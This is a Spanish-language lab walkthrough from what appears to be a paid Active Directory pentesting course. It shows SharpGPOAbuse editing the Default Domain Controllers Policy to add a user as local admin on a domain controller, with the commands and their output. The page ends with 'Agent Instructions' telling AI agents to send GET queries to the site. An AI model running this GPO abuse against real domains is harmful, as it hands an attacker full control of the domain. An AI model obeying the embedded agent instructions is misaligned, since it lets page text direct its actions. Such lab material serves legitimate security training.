# Utilizando SharpGPOAbuse

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="danger" %}
**RESET DEL EJERCICIO**\
Para realizar este ejercicio se debe acceder primero al First-DC y validar si existe el usuario gpowrite.user por medio de comando: `net localgroup Administratrors`\
Si existe se debe eliminar con el siguiente comando: `net localgroup Administrators gpowrite.user /del`&#x20;
{% endhint %}

## <mark style="color:red;">En el User-Server</mark>

Despues de encontrarnos en una sesion con el usuario de gpowrite.user

Debemos utilizar la siguiente herramienta:

{% embed url="<https://github.com/FSecureLABS/SharpGPOAbuse>" %}

Y ejecutamos el siguiente comando:

```powershell
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount gpowrite.user --GPOName "Default Domain Controllers Policy"
[+] Domain = spartancybersec.corp
[+] Domain Controller = First-DC.spartancybersec.corp
[+] Distinguished Name = CN=Policies,CN=System,DC=spartancybersec,DC=corp
[+] SID Value of gpowrite.user = S-1-5-21-1861162130-2580302541-221646211-1121
[+] GUID of "Default Domain Controllers Policy" is: {6AC1786C-016F-11D2-945F-00C04fB984F9}
[+] File exists: \\spartancybersec.corp\SysVol\spartancybersec.corp\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

PS C:\> hostname
User-Server
```

## <mark style="color:red;">En el First-DC</mark>

Despues de lo anterior:

{% hint style="info" %}
Te recomendamos realizar lectura sobre [¿Qué es SysVol?](/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-gpo/que-es-sysvol.md)
{% endhint %}

Se procede a forzar la actualizacion de la GPO:

{% hint style="info" %}
Te recomendamos realizar lectura sobre: [Forzando la actualizacion de GPO](/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-gpo/forzando-la-actualizacion-de-gpo.md)
{% endhint %}

```powershell
C:\Users\admin>gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.
```

Despues de la actualizacion, revisamos los administradores locales del equipo First-DC y lograremos identificar un nuevo usuario llamado gpowrite.user:

```bash
C:\Users\admin>net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
gpowrite.user
The command completed successfully.
```

Por lo anterior, hemos realizado el ataque exitosamente.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-gpo/utilizando-sharpgpoabuse.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
